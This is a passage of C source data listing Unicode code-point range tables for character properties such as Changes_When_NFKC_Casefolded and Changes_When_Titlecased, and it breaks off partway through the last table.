{0xA726, 0xA726}, {0xA728, 0xA728}, {0xA72A, 0xA72A}, {0xA72C, 0xA72C}, {0xA72E, 0xA72E}, {0xA732, 0xA732}, {0xA734, 0xA734}, {0xA736, 0xA736}, {0xA738, 0xA738}, {0xA73A, 0xA73A}, {0xA73C, 0xA73C}, {0xA73E, 0xA73E}, {0xA740, 0xA740}, {0xA742, 0xA742}, {0xA744, 0xA744}, {0xA746, 0xA746}, {0xA748, 0xA748}, {0xA74A, 0xA74A}, {0xA74C, 0xA74C}, {0xA74E, 0xA74E}, {0xA750, 0xA750}, {0xA752, 0xA752}, {0xA754, 0xA754}, {0xA756, 0xA756}, {0xA758, 0xA758}, {0xA75A, 0xA75A}, {0xA75C, 0xA75C}, {0xA75E, 0xA75E}, {0xA760, 0xA760}, {0xA762, 0xA762}, {0xA764, 0xA764}, {0xA766, 0xA766}, {0xA768, 0xA768}, {0xA76A, 0xA76A}, {0xA76C, 0xA76C}, {0xA76E, 0xA76E}, {0xA779, 0xA779}, {0xA77B, 0xA77B}, {0xA77D, 0xA77E}, {0xA780, 0xA780}, {0xA782, 0xA782}, {0xA784, 0xA784}, {0xA786, 0xA786}, {0xA78B, 0xA78B}, {0xA78D, 0xA78D}, {0xA790, 0xA790}, {0xA792, 0xA792}, {0xA796, 0xA796}, {0xA798, 0xA798}, {0xA79A, 0xA79A}, {0xA79C, 0xA79C}, {0xA79E, 0xA79E}, {0xA7A0, 0xA7A0}, {0xA7A2, 0xA7A2}, {0xA7A4, 0xA7A4}, {0xA7A6, 0xA7A6}, {0xA7A8, 0xA7A8}, {0xA7AA, 0xA7AE}, {0xA7B0, 0xA7B4}, {0xA7B6, 0xA7B6}, {0xA7B8, 0xA7B8}, {0xA7BA, 0xA7BA}, {0xA7BC, 0xA7BC}, {0xA7BE, 0xA7BE}, {0xA7C0, 0xA7C0}, {0xA7C2, 0xA7C2}, {0xA7C4, 0xA7C7}, {0xA7C9, 0xA7C9}, {0xA7CB, 0xA7CC}, {0xA7CE, 0xA7CE}, {0xA7D0, 0xA7D0}, {0xA7D2, 0xA7D2}, {0xA7D4, 0xA7D4}, {0xA7D6, 0xA7D6}, {0xA7D8, 0xA7D8}, {0xA7DA, 0xA7DA}, {0xA7DC, 0xA7DC}, {0xA7F5, 0xA7F5}, {0xFF21, 0xFF3A}, {0x10400, 0x10427}, {0x104B0, 0x104D3}, {0x10570, 0x1057A}, {0x1057C, 0x1058A}, {0x1058C, 0x10592}, {0x10594, 0x10595}, {0x10C80, 0x10CB2}, {0x10D50, 0x10D65}, {0x118A0, 0x118BF}, {0x16E40, 0x16E5F}, {0x16EA0, 0x16EB8}, {0x1E900, 0x1E921}, }; static const UnicodeRange kRanges_Changes_When_NFKC_Casefolded[] = { {0x41, 0x5A}, {0xA0, 0xA0}, {0xA8, 0xA8}, {0xAA, 0xAA}, {0xAD, 0xAD}, {0xAF, 0xAF}, {0xB2, 0xB5}, {0xB8, 0xBA}, {0xBC, 0xBE}, {0xC0, 0xD6}, {0xD8, 0xDF}, {0x100, 0x100}, {0x102, 0x102}, {0x104, 0x104}, {0x106, 0x106}, {0x108, 0x108}, {0x10A, 0x10A}, {0x10C, 0x10C}, {0x10E, 0x10E}, {0x110, 0x110}, {0x112, 0x112}, {0x114, 0x114}, {0x116, 0x116}, {0x118, 0x118}, {0x11A, 0x11A}, {0x11C, 0x11C}, {0x11E, 0x11E}, {0x120, 0x120}, {0x122, 0x122}, {0x124, 0x124}, {0x126, 0x126}, {0x128, 0x128}, {0x12A, 0x12A}, {0x12C, 0x12C}, {0x12E, 0x12E}, {0x130, 0x130}, {0x132, 0x134}, {0x136, 0x136}, {0x139, 0x139}, {0x13B, 0x13B}, {0x13D, 0x13D}, {0x13F, 0x141}, {0x143, 0x143}, {0x145, 0x145}, {0x147, 0x147}, {0x149, 0x14A}, {0x14C, 0x14C}, {0x14E, 0x14E}, {0x150, 0x150}, {0x152, 0x152}, {0x154, 0x154}, {0x156, 0x156}, {0x158, 0x158}, {0x15A, 0x15A}, {0x15C, 0x15C}, {0x15E, 0x15E}, {0x160, 0x160}, {0x162, 0x162}, {0x164, 0x164}, {0x166, 0x166}, {0x168, 0x168}, {0x16A, 0x16A}, {0x16C, 0x16C}, {0x16E, 0x16E}, {0x170, 0x170}, {0x172, 0x172}, {0x174, 0x174}, {0x176, 0x176}, {0x178, 0x179}, {0x17B, 0x17B}, {0x17D, 0x17D}, {0x17F, 0x17F}, {0x181, 0x182}, {0x184, 0x184}, {0x186, 0x187}, {0x189, 0x18B}, {0x18E, 0x191}, {0x193, 0x194}, {0x196, 0x198}, {0x19C, 0x19D}, {0x19F, 0x1A0}, {0x1A2, 0x1A2}, {0x1A4, 0x1A4}, {0x1A6, 0x1A7}, {0x1A9, 0x1A9}, {0x1AC, 0x1AC}, {0x1AE, 0x1AF}, {0x1B1, 0x1B3}, {0x1B5, 0x1B5}, {0x1B7, 0x1B8}, {0x1BC, 0x1BC}, {0x1C4, 0x1CD}, {0x1CF, 0x1CF}, {0x1D1, 0x1D1}, {0x1D3, 0x1D3}, {0x1D5, 0x1D5}, {0x1D7, 0x1D7}, {0x1D9, 0x1D9}, {0x1DB, 0x1DB}, {0x1DE, 0x1DE}, {0x1E0, 0x1E0}, {0x1E2, 0x1E2}, {0x1E4, 0x1E4}, {0x1E6, 0x1E6}, {0x1E8, 0x1E8}, {0x1EA, 0x1EA}, {0x1EC, 0x1EC}, {0x1EE, 0x1EE}, {0x1F1, 0x1F4}, {0x1F6, 0x1F8}, {0x1FA, 0x1FA}, {0x1FC, 0x1FC}, {0x1FE, 0x1FE}, {0x200, 0x200}, {0x202, 0x202}, {0x204, 0x204}, {0x206, 0x206}, {0x208, 0x208}, {0x20A, 0x20A}, {0x20C, 0x20C}, {0x20E, 0x20E}, {0x210, 0x210}, {0x212, 0x212}, {0x214, 0x214}, {0x216, 0x216}, {0x218, 0x218}, {0x21A, 0x21A}, {0x21C, 0x21C}, {0x21E, 0x21E}, {0x220, 0x220}, {0x222, 0x222}, {0x224, 0x224}, {0x226, 0x226}, {0x228, 0x228}, {0x22A, 0x22A}, {0x22C, 0x22C}, {0x22E, 0x22E}, {0x230, 0x230}, {0x232, 0x232}, {0x23A, 0x23B}, {0x23D, 0x23E}, {0x241, 0x241}, {0x243, 0x246}, {0x248, 0x248}, {0x24A, 0x24A}, {0x24C, 0x24C}, {0x24E, 0x24E}, {0x2B0, 0x2B8}, {0x2D8, 0x2DD}, {0x2E0, 0x2E4}, {0x340, 0x341}, {0x343, 0x345}, {0x34F, 0x34F}, {0x370, 0x370}, {0x372, 0x372}, {0x374, 0x374}, {0x376, 0x376}, {0x37A, 0x37A}, {0x37E, 0x37F}, {0x384, 0x38A}, {0x38C, 0x38C}, {0x38E, 0x38F}, {0x391, 0x3A1}, {0x3A3, 0x3AB}, {0x3C2, 0x3C2}, {0x3CF, 0x3D6}, {0x3D8, 0x3D8}, {0x3DA, 0x3DA}, {0x3DC, 0x3DC}, {0x3DE, 0x3DE}, {0x3E0, 0x3E0}, {0x3E2, 0x3E2}, {0x3E4, 0x3E4}, {0x3E6, 0x3E6}, {0x3E8, 0x3E8}, {0x3EA, 0x3EA}, {0x3EC, 0x3EC}, {0x3EE, 0x3EE}, {0x3F0, 0x3F2}, {0x3F4, 0x3F5}, {0x3F7, 0x3F7}, {0x3F9, 0x3FA}, {0x3FD, 0x42F}, {0x460, 0x460}, {0x462, 0x462}, {0x464, 0x464}, {0x466, 0x466}, {0x468, 0x468}, {0x46A, 0x46A}, {0x46C, 0x46C}, {0x46E, 0x46E}, {0x470, 0x470}, {0x472, 0x472}, {0x474, 0x474}, {0x476, 0x476}, {0x478, 0x478}, {0x47A, 0x47A}, {0x47C, 0x47C}, {0x47E, 0x47E}, {0x480, 0x480}, {0x48A, 0x48A}, {0x48C, 0x48C}, {0x48E, 0x48E}, {0x490, 0x490}, {0x492, 0x492}, {0x494, 0x494}, {0x496, 0x496}, {0x498, 0x498}, {0x49A, 0x49A}, {0x49C, 0x49C}, {0x49E, 0x49E}, {0x4A0, 0x4A0}, {0x4A2, 0x4A2}, {0x4A4, 0x4A4}, {0x4A6, 0x4A6}, {0x4A8, 0x4A8}, {0x4AA, 0x4AA}, {0x4AC, 0x4AC}, {0x4AE, 0x4AE}, {0x4B0, 0x4B0}, {0x4B2, 0x4B2}, {0x4B4, 0x4B4}, {0x4B6, 0x4B6}, {0x4B8, 0x4B8}, {0x4BA, 0x4BA}, {0x4BC, 0x4BC}, {0x4BE, 0x4BE}, {0x4C0, 0x4C1}, {0x4C3, 0x4C3}, {0x4C5, 0x4C5}, {0x4C7, 0x4C7}, {0x4C9, 0x4C9}, {0x4CB, 0x4CB}, {0x4CD, 0x4CD}, {0x4D0, 0x4D0}, {0x4D2, 0x4D2}, {0x4D4, 0x4D4}, {0x4D6, 0x4D6}, {0x4D8, 0x4D8}, {0x4DA, 0x4DA}, {0x4DC, 0x4DC}, {0x4DE, 0x4DE}, {0x4E0, 0x4E0}, {0x4E2, 0x4E2}, {0x4E4, 0x4E4}, {0x4E6, 0x4E6}, {0x4E8, 0x4E8}, {0x4EA, 0x4EA}, {0x4EC, 0x4EC}, {0x4EE, 0x4EE}, {0x4F0, 0x4F0}, {0x4F2, 0x4F2}, {0x4F4, 0x4F4}, {0x4F6, 0x4F6}, {0x4F8, 0x4F8}, {0x4FA, 0x4FA}, {0x4FC, 0x4FC}, {0x4FE, 0x4FE}, {0x500, 0x500}, {0x502, 0x502}, {0x504, 0x504}, {0x506, 0x506}, {0x508, 0x508}, {0x50A, 0x50A}, {0x50C, 0x50C}, {0x50E, 0x50E}, {0x510, 0x510}, {0x512, 0x512}, {0x514, 0x514}, {0x516, 0x516}, {0x518, 0x518}, {0x51A, 0x51A}, {0x51C, 0x51C}, {0x51E, 0x51E}, {0x520, 0x520}, {0x522, 0x522}, {0x524, 0x524}, {0x526, 0x526}, {0x528, 0x528}, {0x52A, 0x52A}, {0x52C, 0x52C}, {0x52E, 0x52E}, {0x531, 0x556}, {0x587, 0x587}, {0x61C, 0x61C}, {0x675, 0x678}, {0x958, 0x95F}, {0x9DC, 0x9DD}, {0x9DF, 0x9DF}, {0xA33, 0xA33}, {0xA36, 0xA36}, {0xA59, 0xA5B}, {0xA5E, 0xA5E}, {0xB5C, 0xB5D}, {0xE33, 0xE33}, {0xEB3, 0xEB3}, {0xEDC, 0xEDD}, {0xF0C, 0xF0C}, {0xF43, 0xF43}, {0xF4D, 0xF4D}, {0xF52, 0xF52}, {0xF57, 0xF57}, {0xF5C, 0xF5C}, {0xF69, 0xF69}, {0xF73, 0xF73}, {0xF75, 0xF79}, {0xF81, 0xF81}, {0xF93, 0xF93}, {0xF9D, 0xF9D}, {0xFA2, 0xFA2}, {0xFA7, 0xFA7}, {0xFAC, 0xFAC}, {0xFB9, 0xFB9}, {0x10A0, 0x10C5}, {0x10C7, 0x10C7}, {0x10CD, 0x10CD}, {0x10FC, 0x10FC}, {0x115F, 0x1160}, {0x13F8, 0x13FD}, {0x17B4, 0x17B5}, {0x180B, 0x180F}, {0x1C80, 0x1C89}, {0x1C90, 0x1CBA}, {0x1CBD, 0x1CBF}, {0x1D2C, 0x1D2E}, {0x1D30, 0x1D3A}, {0x1D3C, 0x1D4D}, {0x1D4F, 0x1D6A}, {0x1D78, 0x1D78}, {0x1D9B, 0x1DBF}, {0x1E00, 0x1E00}, {0x1E02, 0x1E02}, {0x1E04, 0x1E04}, {0x1E06, 0x1E06}, {0x1E08, 0x1E08}, {0x1E0A, 0x1E0A}, {0x1E0C, 0x1E0C}, {0x1E0E, 0x1E0E}, {0x1E10, 0x1E10}, {0x1E12, 0x1E12}, {0x1E14, 0x1E14}, {0x1E16, 0x1E16}, {0x1E18, 0x1E18}, {0x1E1A, 0x1E1A}, {0x1E1C, 0x1E1C}, {0x1E1E, 0x1E1E}, {0x1E20, 0x1E20}, {0x1E22, 0x1E22}, {0x1E24, 0x1E24}, {0x1E26, 0x1E26}, {0x1E28, 0x1E28}, {0x1E2A, 0x1E2A}, {0x1E2C, 0x1E2C}, {0x1E2E, 0x1E2E}, {0x1E30, 0x1E30}, {0x1E32, 0x1E32}, {0x1E34, 0x1E34}, {0x1E36, 0x1E36}, {0x1E38, 0x1E38}, {0x1E3A, 0x1E3A}, {0x1E3C, 0x1E3C}, {0x1E3E, 0x1E3E}, {0x1E40, 0x1E40}, {0x1E42, 0x1E42}, {0x1E44, 0x1E44}, {0x1E46, 0x1E46}, {0x1E48, 0x1E48}, {0x1E4A, 0x1E4A}, {0x1E4C, 0x1E4C}, {0x1E4E, 0x1E4E}, {0x1E50, 0x1E50}, {0x1E52, 0x1E52}, {0x1E54, 0x1E54}, {0x1E56, 0x1E56}, {0x1E58, 0x1E58}, {0x1E5A, 0x1E5A}, {0x1E5C, 0x1E5C}, {0x1E5E, 0x1E5E}, {0x1E60, 0x1E60}, {0x1E62, 0x1E62}, {0x1E64, 0x1E64}, {0x1E66, 0x1E66}, {0x1E68, 0x1E68}, {0x1E6A, 0x1E6A}, {0x1E6C, 0x1E6C}, {0x1E6E, 0x1E6E}, {0x1E70, 0x1E70}, {0x1E72, 0x1E72}, {0x1E74, 0x1E74}, {0x1E76, 0x1E76}, {0x1E78, 0x1E78}, {0x1E7A, 0x1E7A}, {0x1E7C, 0x1E7C}, {0x1E7E, 0x1E7E}, {0x1E80, 0x1E80}, {0x1E82, 0x1E82}, {0x1E84, 0x1E84}, {0x1E86, 0x1E86}, {0x1E88, 0x1E88}, {0x1E8A, 0x1E8A}, {0x1E8C, 0x1E8C}, {0x1E8E, 0x1E8E}, {0x1E90, 0x1E90}, {0x1E92, 0x1E92}, {0x1E94, 0x1E94}, {0x1E9A, 0x1E9B}, {0x1E9E, 0x1E9E}, {0x1EA0, 0x1EA0}, {0x1EA2, 0x1EA2}, {0x1EA4, 0x1EA4}, {0x1EA6, 0x1EA6}, {0x1EA8, 0x1EA8}, {0x1EAA, 0x1EAA}, {0x1EAC, 0x1EAC}, {0x1EAE, 0x1EAE}, {0x1EB0, 0x1EB0}, {0x1EB2, 0x1EB2}, {0x1EB4, 0x1EB4}, {0x1EB6, 0x1EB6}, {0x1EB8, 0x1EB8}, {0x1EBA, 0x1EBA}, {0x1EBC, 0x1EBC}, {0x1EBE, 0x1EBE}, {0x1EC0, 0x1EC0}, {0x1EC2, 0x1EC2}, {0x1EC4, 0x1EC4}, {0x1EC6, 0x1EC6}, {0x1EC8, 0x1EC8}, {0x1ECA, 0x1ECA}, {0x1ECC, 0x1ECC}, {0x1ECE, 0x1ECE}, {0x1ED0, 0x1ED0}, {0x1ED2, 0x1ED2}, {0x1ED4, 0x1ED4}, {0x1ED6, 0x1ED6}, {0x1ED8, 0x1ED8}, {0x1EDA, 0x1EDA}, {0x1EDC, 0x1EDC}, {0x1EDE, 0x1EDE}, {0x1EE0, 0x1EE0}, {0x1EE2, 0x1EE2}, {0x1EE4, 0x1EE4}, {0x1EE6, 0x1EE6}, {0x1EE8, 0x1EE8}, {0x1EEA, 0x1EEA}, {0x1EEC, 0x1EEC}, {0x1EEE, 0x1EEE}, {0x1EF0, 0x1EF0}, {0x1EF2, 0x1EF2}, {0x1EF4, 0x1EF4}, {0x1EF6, 0x1EF6}, {0x1EF8, 0x1EF8}, {0x1EFA, 0x1EFA}, {0x1EFC, 0x1EFC}, {0x1EFE, 0x1EFE}, {0x1F08, 0x1F0F}, {0x1F18, 0x1F1D}, {0x1F28, 0x1F2F}, {0x1F38, 0x1F3F}, {0x1F48, 0x1F4D}, {0x1F59, 0x1F59}, {0x1F5B, 0x1F5B}, {0x1F5D, 0x1F5D}, {0x1F5F, 0x1F5F}, {0x1F68, 0x1F6F}, {0x1F71, 0x1F71}, {0x1F73, 0x1F73}, {0x1F75, 0x1F75}, {0x1F77, 0x1F77}, {0x1F79, 0x1F79}, {0x1F7B, 0x1F7B}, {0x1F7D, 0x1F7D}, {0x1F80, 0x1FAF}, {0x1FB2, 0x1FB4}, {0x1FB7, 0x1FC4}, {0x1FC7, 0x1FCF}, {0x1FD3, 0x1FD3}, {0x1FD8, 0x1FDB}, {0x1FDD, 0x1FDF}, {0x1FE3, 0x1FE3}, {0x1FE8, 0x1FEF}, {0x1FF2, 0x1FF4}, {0x1FF7, 0x1FFE}, {0x2000, 0x200F}, {0x2011, 0x2011}, {0x2017, 0x2017}, {0x2024, 0x2026}, {0x202A, 0x202F}, {0x2033, 0x2034}, {0x2036, 0x2037}, {0x203C, 0x203C}, {0x203E, 0x203E}, {0x2047, 0x2049}, {0x2057, 0x2057}, {0x205F, 0x2071}, {0x2074, 0x208E}, {0x2090, 0x209C}, {0x20A8, 0x20A8}, {0x2100, 0x2103}, {0x2105, 0x2107}, {0x2109, 0x2113}, {0x2115, 0x2116}, {0x2119, 0x211D}, {0x2120, 0x2122}, {0x2124, 0x2124}, {0x2126, 0x2126}, {0x2128, 0x2128}, {0x212A, 0x212D}, {0x212F, 0x2139}, {0x213B, 0x2140}, {0x2145, 0x2149}, {0x2150, 0x217F}, {0x2183, 0x2183}, {0x2189, 0x2189}, {0x222C, 0x222D}, {0x222F, 0x2230}, {0x2329, 0x232A}, {0x2460, 0x24EA}, {0x2A0C, 0x2A0C}, {0x2A74, 0x2A76}, {0x2ADC, 0x2ADC}, {0x2C00, 0x2C2F}, {0x2C60, 0x2C60}, {0x2C62, 0x2C64}, {0x2C67, 0x2C67}, {0x2C69, 0x2C69}, {0x2C6B, 0x2C6B}, {0x2C6D, 0x2C70}, {0x2C72, 0x2C72}, {0x2C75, 0x2C75}, {0x2C7C, 0x2C80}, {0x2C82, 0x2C82}, {0x2C84, 0x2C84}, {0x2C86, 0x2C86}, {0x2C88, 0x2C88}, {0x2C8A, 0x2C8A}, {0x2C8C, 0x2C8C}, {0x2C8E, 0x2C8E}, {0x2C90, 0x2C90}, {0x2C92, 0x2C92}, {0x2C94, 0x2C94}, {0x2C96, 0x2C96}, {0x2C98, 0x2C98}, {0x2C9A, 0x2C9A}, {0x2C9C, 0x2C9C}, {0x2C9E, 0x2C9E}, {0x2CA0, 0x2CA0}, {0x2CA2, 0x2CA2}, {0x2CA4, 0x2CA4}, {0x2CA6, 0x2CA6}, {0x2CA8, 0x2CA8}, {0x2CAA, 0x2CAA}, {0x2CAC, 0x2CAC}, {0x2CAE, 0x2CAE}, {0x2CB0, 0x2CB0}, {0x2CB2, 0x2CB2}, {0x2CB4, 0x2CB4}, {0x2CB6, 0x2CB6}, {0x2CB8, 0x2CB8}, {0x2CBA, 0x2CBA}, {0x2CBC, 0x2CBC}, {0x2CBE, 0x2CBE}, {0x2CC0, 0x2CC0}, {0x2CC2, 0x2CC2}, {0x2CC4, 0x2CC4}, {0x2CC6, 0x2CC6}, {0x2CC8, 0x2CC8}, {0x2CCA, 0x2CCA}, {0x2CCC, 0x2CCC}, {0x2CCE, 0x2CCE}, {0x2CD0, 0x2CD0}, {0x2CD2, 0x2CD2}, {0x2CD4, 0x2CD4}, {0x2CD6, 0x2CD6}, {0x2CD8, 0x2CD8}, {0x2CDA, 0x2CDA}, {0x2CDC, 0x2CDC}, {0x2CDE, 0x2CDE}, {0x2CE0, 0x2CE0}, {0x2CE2, 0x2CE2}, {0x2CEB, 0x2CEB}, {0x2CED, 0x2CED}, {0x2CF2, 0x2CF2}, {0x2D6F, 0x2D6F}, {0x2E9F, 0x2E9F}, {0x2EF3, 0x2EF3}, {0x2F00, 0x2FD5}, {0x3000, 0x3000}, {0x3036, 0x3036}, {0x3038, 0x303A}, {0x309B, 0x309C}, {0x309F, 0x309F}, {0x30FF, 0x30FF}, {0x3131, 0x318E}, {0x3192, 0x319F}, {0x3200, 0x321E}, {0x3220, 0x3247}, {0x3250, 0x327E}, {0x3280, 0x33FF}, {0xA640, 0xA640}, {0xA642, 0xA642}, {0xA644, 0xA644}, {0xA646, 0xA646}, {0xA648, 0xA648}, {0xA64A, 0xA64A}, {0xA64C, 0xA64C}, {0xA64E, 0xA64E}, {0xA650, 0xA650}, {0xA652, 0xA652}, {0xA654, 0xA654}, {0xA656, 0xA656}, {0xA658, 0xA658}, {0xA65A, 0xA65A}, {0xA65C, 0xA65C}, {0xA65E, 0xA65E}, {0xA660, 0xA660}, {0xA662, 0xA662}, {0xA664, 0xA664}, {0xA666, 0xA666}, {0xA668, 0xA668}, {0xA66A, 0xA66A}, {0xA66C, 0xA66C}, {0xA680, 0xA680}, {0xA682, 0xA682}, {0xA684, 0xA684}, {0xA686, 0xA686}, {0xA688, 0xA688}, {0xA68A, 0xA68A}, {0xA68C, 0xA68C}, {0xA68E, 0xA68E}, {0xA690, 0xA690}, {0xA692, 0xA692}, {0xA694, 0xA694}, {0xA696, 0xA696}, {0xA698, 0xA698}, {0xA69A, 0xA69A}, {0xA69C, 0xA69D}, {0xA722, 0xA722}, {0xA724, 0xA724}, {0xA726, 0xA726}, {0xA728, 0xA728}, {0xA72A, 0xA72A}, {0xA72C, 0xA72C}, {0xA72E, 0xA72E}, {0xA732, 0xA732}, {0xA734, 0xA734}, {0xA736, 0xA736}, {0xA738, 0xA738}, {0xA73A, 0xA73A}, {0xA73C, 0xA73C}, {0xA73E, 0xA73E}, {0xA740, 0xA740}, {0xA742, 0xA742}, {0xA744, 0xA744}, {0xA746, 0xA746}, {0xA748, 0xA748}, {0xA74A, 0xA74A}, {0xA74C, 0xA74C}, {0xA74E, 0xA74E}, {0xA750, 0xA750}, {0xA752, 0xA752}, {0xA754, 0xA754}, {0xA756, 0xA756}, {0xA758, 0xA758}, {0xA75A, 0xA75A}, {0xA75C, 0xA75C}, {0xA75E, 0xA75E}, {0xA760, 0xA760}, {0xA762, 0xA762}, {0xA764, 0xA764}, {0xA766, 0xA766}, {0xA768, 0xA768}, {0xA76A, 0xA76A}, {0xA76C, 0xA76C}, {0xA76E, 0xA76E}, {0xA770, 0xA770}, {0xA779, 0xA779}, {0xA77B, 0xA77B}, {0xA77D, 0xA77E}, {0xA780, 0xA780}, {0xA782, 0xA782}, {0xA784, 0xA784}, {0xA786, 0xA786}, {0xA78B, 0xA78B}, {0xA78D, 0xA78D}, {0xA790, 0xA790}, {0xA792, 0xA792}, {0xA796, 0xA796}, {0xA798, 0xA798}, {0xA79A, 0xA79A}, {0xA79C, 0xA79C}, {0xA79E, 0xA79E}, {0xA7A0, 0xA7A0}, {0xA7A2, 0xA7A2}, {0xA7A4, 0xA7A4}, {0xA7A6, 0xA7A6}, {0xA7A8, 0xA7A8}, {0xA7AA, 0xA7AE}, {0xA7B0, 0xA7B4}, {0xA7B6, 0xA7B6}, {0xA7B8, 0xA7B8}, {0xA7BA, 0xA7BA}, {0xA7BC, 0xA7BC}, {0xA7BE, 0xA7BE}, {0xA7C0, 0xA7C0}, {0xA7C2, 0xA7C2}, {0xA7C4, 0xA7C7}, {0xA7C9, 0xA7C9}, {0xA7CB, 0xA7CC}, {0xA7CE, 0xA7CE}, {0xA7D0, 0xA7D0}, {0xA7D2, 0xA7D2}, {0xA7D4, 0xA7D4}, {0xA7D6, 0xA7D6}, {0xA7D8, 0xA7D8}, {0xA7DA, 0xA7DA}, {0xA7DC, 0xA7DC}, {0xA7F1, 0xA7F5}, {0xA7F8, 0xA7F9}, {0xAB5C, 0xAB5F}, {0xAB69, 0xAB69}, {0xAB70, 0xABBF}, {0xF900, 0xFA0D}, {0xFA10, 0xFA10}, {0xFA12, 0xFA12}, {0xFA15, 0xFA1E}, {0xFA20, 0xFA20}, {0xFA22, 0xFA22}, {0xFA25, 0xFA26}, {0xFA2A, 0xFA6D}, {0xFA70, 0xFAD9}, {0xFB00, 0xFB06}, {0xFB13, 0xFB17}, {0xFB1D, 0xFB1D}, {0xFB1F, 0xFB36}, {0xFB38, 0xFB3C}, {0xFB3E, 0xFB3E}, {0xFB40, 0xFB41}, {0xFB43, 0xFB44}, {0xFB46, 0xFBB1}, {0xFBD3, 0xFD3D}, {0xFD50, 0xFD8F}, {0xFD92, 0xFDC7}, {0xFDF0, 0xFDFC}, {0xFE00, 0xFE19}, {0xFE30, 0xFE44}, {0xFE47, 0xFE52}, {0xFE54, 0xFE66}, {0xFE68, 0xFE6B}, {0xFE70, 0xFE72}, {0xFE74, 0xFE74}, {0xFE76, 0xFEFC}, {0xFEFF, 0xFEFF}, {0xFF01, 0xFFBE}, {0xFFC2, 0xFFC7}, {0xFFCA, 0xFFCF}, {0xFFD2, 0xFFD7}, {0xFFDA, 0xFFDC}, {0xFFE0, 0xFFE6}, {0xFFE8, 0xFFEE}, {0xFFF0, 0xFFF8}, {0x10400, 0x10427}, {0x104B0, 0x104D3}, {0x10570, 0x1057A}, {0x1057C, 0x1058A}, {0x1058C, 0x10592}, {0x10594, 0x10595}, {0x10781, 0x10785}, {0x10787, 0x107B0}, {0x107B2, 0x107BA}, {0x10C80, 0x10CB2}, {0x10D50, 0x10D65}, {0x118A0, 0x118BF}, {0x16E40, 0x16E5F}, {0x16EA0, 0x16EB8}, {0x1BCA0, 0x1BCA3}, {0x1CCD6, 0x1CCF9}, {0x1D15E, 0x1D164}, {0x1D173, 0x1D17A}, {0x1D1BB, 0x1D1C0}, {0x1D400, 0x1D454}, {0x1D456, 0x1D49C}, {0x1D49E, 0x1D49F}, {0x1D4A2, 0x1D4A2}, {0x1D4A5, 0x1D4A6}, {0x1D4A9, 0x1D4AC}, {0x1D4AE, 0x1D4B9}, {0x1D4BB, 0x1D4BB}, {0x1D4BD, 0x1D4C3}, {0x1D4C5, 0x1D505}, {0x1D507, 0x1D50A}, {0x1D50D, 0x1D514}, {0x1D516, 0x1D51C}, {0x1D51E, 0x1D539}, {0x1D53B, 0x1D53E}, {0x1D540, 0x1D544}, {0x1D546, 0x1D546}, {0x1D54A, 0x1D550}, {0x1D552, 0x1D6A5}, {0x1D6A8, 0x1D7CB}, {0x1D7CE, 0x1D7FF}, {0x1E030, 0x1E06D}, {0x1E900, 0x1E921}, {0x1EE00, 0x1EE03}, {0x1EE05, 0x1EE1F}, {0x1EE21, 0x1EE22}, {0x1EE24, 0x1EE24}, {0x1EE27, 0x1EE27}, {0x1EE29, 0x1EE32}, {0x1EE34, 0x1EE37}, {0x1EE39, 0x1EE39}, {0x1EE3B, 0x1EE3B}, {0x1EE42, 0x1EE42}, {0x1EE47, 0x1EE47}, {0x1EE49, 0x1EE49}, {0x1EE4B, 0x1EE4B}, {0x1EE4D, 0x1EE4F}, {0x1EE51, 0x1EE52}, {0x1EE54, 0x1EE54}, {0x1EE57, 0x1EE57}, {0x1EE59, 0x1EE59}, {0x1EE5B, 0x1EE5B}, {0x1EE5D, 0x1EE5D}, {0x1EE5F, 0x1EE5F}, {0x1EE61, 0x1EE62}, {0x1EE64, 0x1EE64}, {0x1EE67, 0x1EE6A}, {0x1EE6C, 0x1EE72}, {0x1EE74, 0x1EE77}, {0x1EE79, 0x1EE7C}, {0x1EE7E, 0x1EE7E}, {0x1EE80, 0x1EE89}, {0x1EE8B, 0x1EE9B}, {0x1EEA1, 0x1EEA3}, {0x1EEA5, 0x1EEA9}, {0x1EEAB, 0x1EEBB}, {0x1F100, 0x1F10A}, {0x1F110, 0x1F12E}, {0x1F130, 0x1F14F}, {0x1F16A, 0x1F16C}, {0x1F190, 0x1F190}, {0x1F200, 0x1F202}, {0x1F210, 0x1F23B}, {0x1F240, 0x1F248}, {0x1F250, 0x1F251}, {0x1FBF0, 0x1FBF9}, {0x2F800, 0x2FA1D}, {0xE0000, 0xE0FFF}, }; static const UnicodeRange kRanges_Changes_When_Titlecased[] = { {0x61, 0x7A}, {0xB5, 0xB5}, {0xDF, 0xF6}, {0xF8, 0xFF}, {0x101, 0x101}, {0x103, 0x103}, {0x105, 0x105}, {0x107, 0x107}, {0x109, 0x109}, {0x10B, 0x10B}, {0x10D, 0x10D}, {0x10F, 0x10F}, {0x111, 0x111}, {0x113, 0x113}, {0x115, 0x115}, {0x117, 0x117}, {0x119, 0x119}, {0x11B, 0x11B}, {0x11D, 0x11D}, {0x11F, 0x11F}, {0x121, 0x121}, {0x123, 0x123}, {0x125, 0x125}, {0x127, 0x127}, {0x129, 0x129}, {0x12B, 0x12B}, {0x12D, 0x12D}, {0x12F, 0x12F}, {0x131, 0x131}, {0x133, 0x133}, {0x135, 0x135}, {0x137, 0x137}, {0x13A, 0x13A}, {0x13C, 0x13C}, {0x13E, 0x13E}, {0x140, 0x140}, {0x142, 0x142}, {0x144, 0x144}, {0x146, 0x146}, {0x148, 0x149}, {0x14B, 0x14B}, {0x14D, 0x14D}, {0x14F, 0x14F}, {0x151, 0x151}, {0x153, 0x153}, {0x155, 0x155}, {0x157, 0x157}, {0x159, 0x159}, {0x15B, 0x15B}, {0x15D, 0x15D}, {0x15F, 0x15F}, {0x161, 0x161}, {0x163, 0x163}, {0x165, 0x165}, {0x167, 0x167}, {0x169, 0x169}, {0x16B, 0x16B}, {0x16D, 0x16D}, {0x16F, 0x16F}, {0x171, 0x171}, {0x173, 0x173}, {0x175, 0x175}, {0x177, 0x177}, {0x17A, 0x17A}, {0x17C, 0x17C}, {0x17E, 0x180}, {0x183, 0x183}, {0x185, 0x185}, {0x188, 0x188}, {0x18C, 0x18C}, {0x192, 0x192}, {0x195, 0x195}, {0x199, 0x19B}, {0x19E, 0x19E}, {0x1A1, 0x1A1}, {0x1A3, 0x1A3}, {0x1A5, 0x1A5}, {0x1A8, 0x1A8}, {0x1AD, 0x1AD}, {0x1B0, 0x1B0}, {0x1B4, 0x1B4}, {0x1B6, 0x1B6}, {0x1B9, 0x1B9}, {0x1BD, 0x1BD}, {0x1BF, 0x1BF}, {0x1C4, 0x1C4}, {0x1C6, 0x1C7}, {0x1C9, 0x1CA}, {0x1CC, 0x1CC}, {0x1CE, 